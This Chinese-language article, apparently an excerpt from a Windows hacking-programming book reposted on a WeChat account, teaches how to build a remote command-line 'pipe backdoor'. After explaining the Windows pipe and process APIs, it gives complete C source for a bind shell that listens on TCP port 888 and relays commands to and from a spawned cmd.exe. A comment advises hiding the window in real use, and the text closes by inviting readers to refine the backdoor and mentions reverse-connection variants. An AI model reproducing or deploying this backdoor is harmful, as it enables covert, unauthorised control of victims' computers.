|
网络安全编程:远程cmd通信计算机与网络安全 昨天
一次性付费进群,长期免费索取资料。
回复公众号:微信群 可查看进群流程。
广告
Windows黑客编程技术详解(异步图书出品)作者:甘迪文
京东
微信公众号:计算机与网络安全
ID:Computer-network
在各种黑客电影、电视中,经常会看到黑客在黑底白字地输入各种命令进行攻击。有时是系统自带的命令行工具,即cmd.exe;有时是一些其他基于命令行的工具,比如metasploit。用系统自带的命令行工具,一般是操作自己的主机系统。如何通过命令行操作其他人的主机系统是下面要介绍的内容。
1. 管道技术
管道是一种简单的进程间通信的技术。在Windows下,进程间通信技术有邮槽、事件、文件映射、管道等。管道可以分为命名管道和匿名管。匿名管道比命名管道要简单许多,它是一个未命名的单向管道,常用来在一个父进程和一个子进程之间传递数据。匿名管道只能实现本地机器上两个进程间的通信,不能实现跨网络的通信。
匿名管道由CreatePipe()函数创建,管道有读句柄和写句柄,分别作为输入和输出。CreatePipe()函数的定义如下:
- BOOL CreatePipe(
- PHANDLE hReadPipe,
- PHANDLE hWritePipe,
- LPSECURITY_ATTRIBUTES lpPipeAttributes,
- DWORD nSize
- );
复制代码 CreatePipe()函数将创建一个匿名管道,并返回该匿名管道的读句柄和写句柄。该函数有4个参数,分别如下。
hReadPipe:指向 HANDLE 类型的指针,返回管道的读句柄。
hWritePipe:指向 HANDLE 类型的指针,返回管道的写句柄。
nSize:指定管道的缓冲区大小。这里赋值为 0,使用系统默认大小的缓冲区。
lpPipeAttributes:指向 SECURITY_ATTRIBUTES 结构体的指针,检测返回的句柄是否能被子进程集成。如果此参数为 NULL,则表示句柄不能被继承。匿名管道只能在父子进程间进行通信,进行数据的传递。那么子进程如果想要获得匿名管道的句柄,只能从父进程继承。SECURITY_ATTRIBUTES 结构体定义如下:
- typedef struct _SECURITY_ATTRIBUTES {
- DWORD nLength;
- LPVOID lpSecurityDescriptor;
- BOOL bInheritHandle;
- } SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES;
复制代码 SECURITY_ATTRIBUTES 结构体有 3 个成员,分别说明如下。
nLength:指定该结构体的大小,一般使用 sizeof()来进行计算。
lpSecurityDescriptor:指向一个安全描述符指针,这里可以赋值为 NULL。
bInheritHandle:该成员指定所返回的句柄是否能被一个新的进程所继承。如果此成员设置为 TRUE,那么返回的句柄能够被进程继承。这里设置为 TRUE。
一个匿名管道有两头,分别是读句柄和写句柄。写句柄用来往管道中写入数据,读句柄用来把管道中的数据读出来。向管道读取或写入数据,直接调用ReadFile()或WriteFile()即可。
在对管道进行读取前,先要判断管道中是否有数据存在,如果有数据,则使用ReadFile()函数将管道中的数据读出,以避免数据接收方长时间等待。判断管道中是否有数据存在的函数是PeekNamedPipe(),其定义如下:
- BOOL PeekNamedPipe(
- HANDLE hNamedPipe,
- LPVOID lpBuffer,
- DWORD nBufferSize,
- LPDWORD lpBytesRead,
- LPDWORD lpTotalBytesAvail,
- LPDWORD lpBytesLeftThisMessage
- );
复制代码 该函数有 6 个参数,其含义分别如下。
hNamedPipe:要检查的管道的句柄。
lpBuffer:读取数据的缓冲区。
nBufferSize:读取数据的缓冲区大小。
lpBytesRead:返回实际读取数据的字节数。
lpTotalBytesAvail:返回读取数据总的字节数。
lpBytesLeftThisMessage:返回该消息中剩余的字节数,对于匿名管道可以为 0。
该函数读取管道中的数据,但是不从管道中移除数据。当有数据后,可以调用ReadFile()来完成数据的读取操作。为了避免长时间等待,可以先调用PeekNamedPipe()函数判断管道中是否有数据,也可以通过主线程分别开启用于读数据和写数据的线程,这样在读数据时就可以不用进行是否有数据的判断了。这里采用前者。
匿名管道的通信和数据传递是在父子进程之间进行的。创建进程的CreateProcess()函数满足现在的要求。CreateProcess()函数的定义如下:
- BOOL CreateProcess(
- LPCTSTR lpApplicationName,
- LPTSTR lpCommandLine,
- LPSECURITY_ATTRIBUTES lpProcessAttributes,
- LPSECURITY_ATTRIBUTES lpThreadAttributes,
- BOOL bInheritHandles,
- DWORD dwCreationFlags,
- LPVOID lpEnvironment,
- LPCTSTR lpCurrentDirectory,
- LPSTARTUPINFO lpStartupInfo,
- LPPROCESS_INFORMATION lpProcessInformation
- );
复制代码 这里具体介绍bInheritHandles和lpStartupInfo两个参数。
bInheritHandles:该参数用来指定父进程创建的子进程是否能够继承父进程的句柄。如果该参数为 TRUE,那么父进程的每个可以继承的打开的句柄都能够被子进程继承。
lpStartupInfo:一个指向 STARTUPINFO 结构体的指针。该结构体用来指定新进程的主窗口将如何显示,输入输出等启动信息。STARTUPINFO 结构体的定义如下:
- typedef struct _STARTUPINFO {
- DWORD cb;
- LPTSTR lpReserved;
- LPTSTR lpDesktop;
- LPTSTR lpTitle;
- DWORD dwX;
- DWORD dwY;
- DWORD dwXSize;
- DWORD dwYSize;
- DWORD dwXCountChars;
- DWORD dwYCountChars;
- DWORD dwFillAttribute;
- DWORD dwFlags;
- WORD wShowWindow;
- WORD cbReserved2;
- LPBYTE lpReserved2;
- HANDLE hStdInput;
- HANDLE hStdOutput;
- HANDLE hStdError;
- } STARTUPINFO, *LPSTARTUPINFO;
复制代码 该结构体是设定被创建子进程的启动信息,它的成员非常多,这里主要使用其中的6个参数,具体如下。
cb:用于指明 STARTUPINFO 结构体的大小。
dwFlags:用于设定 STARTUPINFO 结构体的哪些字段会被用到。
wShowWindow:用于设定子进程启动时的现实方式。
hStdInput:用于设定控制台的标准输入句柄。
hStdOutput:用于设定控制台的标准输出句柄。
hStdError:用于设定控制台的标准出错句柄,类似于标准输出句柄,之所以要与hStdOutput分开,是因为有时出错后需要记录到文件中。
以上就是管道后门所需要使用到的API函数,下面来具体介绍关于管道后门的实现技术方式。
后门分为控制端和被控制端。由于这里实现的是一个命令行的后门,那么控制端就是在不断输入相应的命令,比如dir、net user、ping等命令。注意,这些命令并不是在控制端执行,而是送入远程的被控制端执行。当远程的被控制端执行完控制端需要执行的命令后,需要把相应的返回结构发送给控制端。
这里后门的需求已经明确,就是把控制台的命令和控制台的结果不断进行传输。方法是被控制端的父进程接收控制端发来的命令,同样被控制端的父进程发送命令运行的结果给控制端,而执行命令则由父进程创建的子进程(cmd.exe)来完成。通信过程如图1所示。
图1 通信过程
父进程启动子进程前,需要将STARTUPINFO中的输入输出句柄重定向到匿名管道中,这样父进程才能通过管道向子进程中传递命令,而子进程也能通过管道将命令的返回结果传递给父进程。
2. 双管道后门代码实现
现在来看管道的编写远程cmd后面的实现代码,具体如下:
- #include <stdio.h>
- #include <winsock2.h>
- #pragma comment (lib, "ws2_32")
- int main()
- {
- WSADATA wsa;
- WSAStartup(MAKEWORD(2, 2), &wsa);
- // 创建 TCP 套接字
- SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
- // 绑定套接字
- sockaddr_in sock;
- sock.sin_family = AF_INET;
- sock.sin_addr.S_un.S_addr = ADDR_ANY;
- sock.sin_port = htons(888);
- bind(s, (SOCKADDR*)&sock, sizeof(SOCKADDR));
- // 置套接字为监听状态
- listen(s, 1);
- // 接受客户端请求
- sockaddr_in sockClient;
- int SaddrSize = sizeof(SOCKADDR);
- SOCKET sc = accept(s, (SOCKADDR*)&sockClient, &SaddrSize);
- // 创建管道
- SECURITY_ATTRIBUTES sa1, sa2;
- HANDLE hRead1, hRead2, hWrite1, hWrite2;
- sa1.nLength = sizeof(SECURITY_ATTRIBUTES);
- sa1.lpSecurityDescriptor = NULL;
- sa1.bInheritHandle = TRUE;
- sa2.nLength = sizeof(SECURITY_ATTRIBUTES);
- sa2.lpSecurityDescriptor = NULL;
- sa2.bInheritHandle = TRUE;
- CreatePipe(&hRead1, &hWrite1, &sa1, 0);
- CreatePipe(&hRead2, &hWrite2, &sa2, 0);
- // 创建用于通信的子进程
- STARTUPINFO si;
- PROCESS_INFORMATION pi;
- ZeroMemory(&si, sizeof(STARTUPINFO));
- si.cb = sizeof(STARTUPINFO);
- si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
- // 为了测试,这里设置为 SW_SHOW,在实际中应该为 SW_HIDE
- si.wShowWindow = SW_SHOW;
- // 替换标准输入输出句柄
- // 对于后门程序,管道 1 用于输出
- // 对于后门程序,管道 2 用于输入
- si.hStdInput = hRead2;
- si.hStdOutput = hWrite1;
- si.hStdError = hWrite1;
- char *szCmd = "cmd";
- CreateProcess(NULL, szCmd, NULL, NULL,
- TRUE, 0, NULL, NULL, &si, &pi);
- DWORD dwBytes = 0;
- BOOL bRet = FALSE;
- char szBuffer[0x1000] = { 0 };
- char szCommand[0x1000] = { 0 };
- while ( TRUE )
- {
- ZeroMemory(szCommand, 0x1000);
- bRet = PeekNamedPipe(hRead1, szBuffer, 0x1000, &dwBytes, 0, 0);
- if ( dwBytes )
- {
- // 当 hStdOutput 和 hStdError 向管道 1 写入数据后
- // 应该将管道 1 中的数据读出
- ReadFile(hRead1, szBuffer, 0x1000, &dwBytes, NULL);
- send(sc, szBuffer, dwBytes, 0);
- }
- else
- {
- // 父进程接受到控制端的数据后
- // 写入管道 2 中
- int i = 0;
- // telnet 在发送字符时是逐个发送的
- // 因此这里需要合并完整的命令
- while ( 1 )
- {
- dwBytes = recv(sc, szBuffer, 0x1000, 0);
- if ( dwBytes <= 0 )
- {
- break;
- }
- szCommand[i++] = szBuffer[0];
- if ( szBuffer[0] == '\r' || szBuffer[0] == '\n' )
- {
- szCommand[i-1] = '\n';
- break;
- }
- }
- WriteFile(hWrite2, szCommand, i, &dwBytes, NULL);
- }
- }
- WSACleanup();
- return 0;
- }
复制代码 编译连接并运行这个后门,然后用telnet命令连接该后门,就可以测试该后门的效果了。这个管道后面是一个简陋的管道后门,但是基本完成了远程cmd的通信。不过,其中有很多问题没有解决,比如当远程用户输入“exit”命令后,管道后门就退出了,而远程用户的命令控制界面就无任何输出了。当然,这只是其中一个问题而已,为了演示所需的管道技术,这里就不去完善了。请大家自行完善该后门中的其他问题。
管道后门还有其他几种变形的形式。这里的例子中使用了两个管道,分别针对读和写,而其他的形式还有单管道后门和零管道后门。单管道后门的原理是在执行cmd时直接带参数执行,而省去了给cmd传递命令的管道。零管道后门是直接将cmd的输入输出句柄替换为socket句柄。当然,这些管道后门同样可以主动连接控制端,而实现反弹端口的连接形式。
|
|